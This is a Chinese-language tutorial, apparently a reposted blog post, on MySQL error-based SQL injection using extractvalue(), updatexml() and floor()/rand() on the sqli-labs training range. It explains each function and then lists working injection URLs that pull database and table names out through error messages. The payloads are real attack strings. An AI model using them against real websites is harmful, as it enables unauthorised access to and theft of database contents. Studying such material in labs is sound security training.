一、报错注入分类
floor()报错注入
extractvalu()报错注入
updatexml()报错注入
name_const()报错注入
jion()报错注入
exp()报错注入
还有很多,此处就讲前三个。
二、涉及到的函数
concat:返回结果为连接参数产生的字符串
例如:concat(~,(hello world))
就会返回 ~hello word
三、什么是报错注入
报错注入是一种页面响应方式。响应流程如下:

简单理解为:用户访问服务器发送id信息,服务器返回正确的id数据。
用户发送错误信息,服务器返回报错提示。
构造查询语句,让错误信息中夹杂可以显示数据库内容的查询语句。从而放会报错提示中包含数据库中的内容。
四、现象(sql-labs靶场less5)(字符型)


可见,正确显示You are in....
错误,回显错误信息。
五、通过写错单词报错出数据库名
(less5字符型,字段数为3)
通过写错,database(),报错,从而回显数据库名。
六、extractvalue()报错注入
函数extractvalue()包含两个参数
extractvalue(XML_document,XPath_string)
第一个参数XML文档对象名称(笔者理解为文件名)第二个为查询文件的路径
文件路径:基本都以 / 开头 。
所以extractvalue(),第二参数(路径)以 ~ 符号开头,就会使其报错。
a、实操
一、查数据库名
/?id=5' and extractvalue(1,concat('~',(select database()))) --+

二、查表名
/?id=5' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+

使用group_concat()报出全部表。
?id=5' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

接着后面都差不都。
七、updatexml()报错注入
a、updatexml函数
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc
第二参数:XPath_string是路径,XPath格式的字符串。
第三个参数:new_value,string格式,替换查找到的符合条件的数据
b、updatexml倒错原理
通extractvalue(),输入错误的第二个参数,即路径错误(把 / 缓存 ~)
c、实操
一、查数据库
?id=1' and updatexml(1,concat('~',(select database())),3) --+

二、表名
?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) --+

使用group_concat()全部爆出

后面一样。
8、floor报错注入
a、涉及到的函数
rand()函数:随机返回0~1间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来(和concat差不多)
group by:分组语句,常用于结合统计函数,根据一个或多列,对结果进行整合
as:别名
count函数:汇总统计数量
limit:这里用于显示指定行数
b、rand()
** >select rand();**

**>select rand()2*
计算结果在0-2之间
>select rand() from users; (users表有多少列,就输出几个随机数)

** c、floor()函数:小数向下取整**
**>select floor(rand()2);*

** >select floor(rand()2) from information_schema.tables;*

d、concat_ws()函数:将括号内数据用第一个字段连起来
select concat_ws('
',2,3) 使用连接2,3

select concat_ws('~',(select database()),floor(rand()*2)) from users;

e、as 别名 group by 分组
select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
把绿色部分取一个别名 a ,在使用group by 对a进行分组

f、count(*) 统计数量

但是多执行几次,可能会报错。

select concat_ws('~',(select database()),floor(rand(0)*2)) as a from users group by a;
不管执行多次报错
select concat_ws('~',(select database()),floor(rand(1)*2)) as a from users group by a;
永久不会报错,回显也不会变

f、流程
数据库
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+

表名
/?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+

后面列名、字段名都一样。
版权归原作者 凌晨两点半992 所有, 如有侵权,请联系我们删除。